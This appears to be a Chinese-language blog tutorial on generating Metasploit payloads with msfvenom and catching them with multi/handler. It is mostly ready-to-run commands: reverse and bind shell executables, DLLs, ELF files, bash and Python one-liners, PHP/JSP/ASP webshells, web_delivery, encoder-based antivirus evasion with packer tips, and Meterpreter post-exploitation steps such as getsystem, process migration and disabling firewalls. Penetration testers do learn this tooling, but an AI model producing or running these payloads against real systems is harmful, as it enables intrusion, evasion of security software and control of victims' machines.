文章

MSF Payload生成与监听配置

msfvenom 实战指南,涵盖Windows/Linux/WebShell/正向反向Payload生成、编码器免杀、以及multi/handler监听配置全流程。

MSF Payload生成与监听配置

MSF Payload生成与监听配置

一、msfvenom 概述

msfvenom 是 MSF 的 Payload 生成工具,合并了原 msfpayload 和 msfencode 功能。它可以生成多种格式(exe、elf、dll、asp、war 等)的攻击载荷,并支持编码器进行免杀处理。

核心参数

参数说明示例
-p选择 Payloadwindows/meterpreter/reverse_tcp
-a指定架构x86x64arm64
--platform指定平台windowslinuxphp
-f输出格式exeelfdllraw
-o输出文件名payload.exe
-e编码器x86/shikata_ga_nai
-i编码次数5
LHOST攻击机监听 IP192.168.1.50
LPORT攻击机监听端口4444

查看所有可用 Payload

1
2
3
4
msfvenom --list payloads          # 列出所有 payload
msfvenom --list payloads | grep windows   # 过滤 Windows 相关
msfvenom --list formats           # 列出所有输出格式
msfvenom --list encoders          # 列出所有编码器

二、Windows 木马生成

32 位 Windows 反弹 Shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.113.98 LPORT=4444 -a x86 --platform windows -f exe -o win32_shell.exe

知识点reverse_tcp(反向连接)由目标主动连接攻击机,可绕过防火墙出方向限制;meterpreter 载荷提供丰富的后渗透命令,优于普通 cmd shell。

64 位 Windows 反弹 Shell

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -a x64 --platform windows -f exe -o win64_shell.exe

知识点:64 位系统需使用 x64 架构的 Payload,否则会话可能不稳定或无法执行。

ARM64 Windows

1
msfvenom -p windows/arm64/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -a arm64 --platform windows -f exe -o win_arm64.exe

知识点:部分轻薄本和 Surface 使用 ARM 架构 Windows,需专用 Payload。

DLL 格式(免杀 / 持久化)

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o payload.dll

知识点:DLL 格式可通过 regsvr32 /s payload.dll 执行,或劫持合法程序的 DLL 加载路径实现持久化。

编码免杀(绕过杀软)

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe

知识点shikata_ga_nai 是 MSF 最常用的多态编码器,每次生成不同的二进制特征。但现代 EDR/AV 已能识别单纯编码,需配合加壳器(如 Hyperion、Shellter)或自定义模板注入。

三、Linux 木马生成

64 位 Linux ELF

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o linux64_shell.elf

32 位 Linux ELF

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o linux32_shell.elf

静态编译(解决依赖问题)

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o static_shell.elf

知识点:当目标系统缺少所需动态库(如 libc 版本不兼容)时,可使用 -b 参数排除坏字符,或编译静态版本。静态编译文件较大(约1M),但兼容性更好。

Bash 一行命令(无需上传文件)

1
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o reverse_bash.sh

知识点cmd/unix/reverse_bash 使用 bash 内置 /dev/tcp 功能建立反向连接,无需额外工具,适用于受限环境。

Python 脚本格式

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4445 -f raw -o shell.py

知识点:Python Payload 跨平台性好(Windows/Linux 均可),但依赖目标安装对应版本的 Python 运行时。

四、WebShell Payload

PHP Meterpreter

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp

ASP/ASPX

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f aspx -o shell.aspx

Web Delivery(无需上传文件)

1
2
3
4
5
6
7
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > show targets
msf6 exploit(multi/script/web_delivery) > set target 1         # PHP 环境
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.1.50
msf6 exploit(multi/script/web_delivery) > set LPORT 4444
msf6 exploit(multi/script/web_delivery) > run

知识点:Web Delivery 生成一条 PowerShell/Python/PHP 一行命令,目标执行后直接建立 Meterpreter 会话,无需上传文件,适合 Web 漏洞利用场景。

五、正向连接 Payload

适用场景:目标在防火墙后,只允许入站连接,不允许出站。此时使用正向连接,由攻击机主动连目标。

Windows 正向

1
2
3
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_32.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_64.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f dll -o bind_64.dll

Linux 正向

1
2
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_linux32.elf
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_linux64.elf

六、监听配置(multi/handler)

基础监听

1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.139.128
msf6 exploit(multi/handler) > set LPORT 3333
msf6 exploit(multi/handler) > run

知识点LHOSTLPORT 必须与生成 Payload 时完全一致。如果攻击机有多个网卡,LHOST 需指定监听网卡的 IP。

监听 Linux Payload

1
2
3
4
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

监听 Bash/Python 等脚本 Payload

1
msf6 exploit(multi/handler) > set PAYLOAD cmd/unix/reverse_bash

正向连接配置

1
2
3
4
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.52.141
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

知识点:正向连接使用 RHOST(目标 IP)而非 LHOST,攻击机主动发起连接。

持久化监听(-j 后台运行)

1
2
3
4
msf6 exploit(multi/handler) > run -j
# 后台运行,不阻塞控制台
msf6 > jobs          # 查看所有后台任务
msf6 > sessions -i 1 # 切换到会话1

七、Meterpreter 基础命令速查

系统操作

1
2
3
4
5
sysinfo              # 系统信息(OS、架构、主机名)
getuid               # 当前会话用户身份
getsystem            # 自动尝试提升到 SYSTEM
ps                   # 进程列表
shell                # 进入交互式 Shell

文件操作

1
2
3
upload /local/path C:\remote\path   # 上传文件
download C:\remote\file /local/path # 下载文件
edit C:\file.txt                     # 远程编辑文件

进程迁移

1
2
3
ps                              # 查看进程列表
migrate <PID>                   # 迁移会话到指定进程
# 推荐迁移到 explorer.exe、svchost.exe 等稳定进程

防火墙控制

1
2
3
4
5
shell
# Windows
NetSh Advfirewall set allprofiles state off
# Linux
ufw disable

会话升级

1
sessions -u 2    # 将 session 2 升级为 Meterpreter 会话

八、速查对照表

场景Payload格式命令模板
Win32 反弹windows/meterpreter/reverse_tcpexemsfvenom -p <payload> LHOST=x LPORT=x -f exe -o x.exe
Win64 反弹windows/x64/meterpreter/reverse_tcpexe同上,加 -a x64
Linux 反弹linux/x64/meterpreter/reverse_tcpelfmsfvenom -p <payload> LHOST=x LPORT=x -f elf -o x.elf
PHP WebShellphp/meterpreter/reverse_tcprawmsfvenom -p <payload> LHOST=x LPORT=x -f raw -o x.php
Bash 一行cmd/unix/reverse_bashrawmsfvenom -p <payload> LHOST=x LPORT=x -f raw -o x.sh
Win 正向windows/meterpreter/bind_tcpexemsfvenom -p <payload> LPORT=x -f exe -o x.exe

下一篇文章将介绍如何利用 Meterpreter 进行权限提升、权限维持以及 Docker 容器逃逸。

本文由作者按照 CC BY 4.0 进行授权